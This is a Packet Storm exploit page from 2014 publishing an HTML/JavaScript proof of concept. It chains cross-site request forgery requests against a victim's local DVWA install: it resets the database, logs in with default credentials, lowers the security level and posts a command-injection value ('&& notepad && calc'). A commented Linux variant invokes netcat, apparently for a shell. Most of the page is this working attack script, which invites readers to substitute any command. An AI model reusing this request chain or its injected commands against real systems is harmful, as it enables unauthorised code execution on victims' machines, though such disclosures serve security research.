what you don't know can hurt you

DVWA Cross Site Request Forgery

DVWA Cross Site Request Forgery
Posted Sep 15, 2014
Authored by Paulos Yibelo

Damn Vulnerable Web Application, which is meant to be a vulnerable web application for security testing, can be leveraged by attackers to compromise your system when in use. This is a good reminder to only use DVWA on an air-gapped network. This exploits demonstrates the ability to gain code execution on the system.

tags | exploit, web, code execution, csrf
MD5 | 0b363f1fdc45ecfbf33d0391bd239c05

DVWA Cross Site Request Forgery

Change Mirror Download
<!-- There are multiple CSRF issues in DVWA. Attackers can use these CSRF exploits to
first reset the DVWA database of victim, then make the victim log in using the default resets,
next crafts another CSRF to change the challenge level to low to make exploitation more probable,
then use these to craft a command execution CSRF and possibly get a shell. :)

*This PoC will open calculator as a demo execution in approximately 5 seconds.*

The attacker just needs to know you have DVWA for this to work.

Paulos Yibelo and Tabor N. Shiferaw 2014

-->

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js' type='text/javascript'>
</script>
<div id='loader'></div>

<Script>

//document.getElementById("loader").innerHTML = 'Loading...';

var one = {"create_db":'whatever'};
var two = {"username":"admin","password":"password","Login":"Login"};
var three = {"security":"low","seclev_submit":"Submit"};

//windows opens calculator; change this to whatever your desire
var four = {"ip":"127.0.0.1 && notepad && calc","submit":"submit"};

//linux
//var four = {"ip":"127.0.0.1;netcat -l 15.11.11.x -p 4444","submit":"submit"};

/*
*step 1
*Reset the Databse
*/
function start_exploit()
{
$("#loader").html("Loading...");
$.ajax({
url:"http://localhost/dvwa/setup.php",
type:"POST",
data:one,
success:
function(x){
dvwaLogin();
}

});
}
/*
*step 2
*login using default new password
*/
function dvwaLogin()
{
$.ajax({
url:"http://localhost/dvwa/login.php",
type:"POST",
data:two,
success:function(x){
levelChanger();
}
});
}
/*
*step 3
*set level to low
*/
function levelChanger(){
$.ajax({
url:"http://localhost/dvwa/security.php",
type:"POST",
data:three,
success:function(x){
commandExecution();
}
});
}

/*
*step 4
*execute command
*/
function commandExecution(){
$.ajax(
{
url:"http://localhost/dvwa/vulnerabilities/exec/index.php",
type:"POST",
data:four,
success:function(x){
//document.getElementById("loader").innerHTML = "Executed";
$("#loader").text("Loaded");
}
}
);
}


start_exploit();
</script>

<!-- check out http://paulosyibelo.blogspot.com/2014/09/dvwa-unintended-security-issues.html for more -->

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close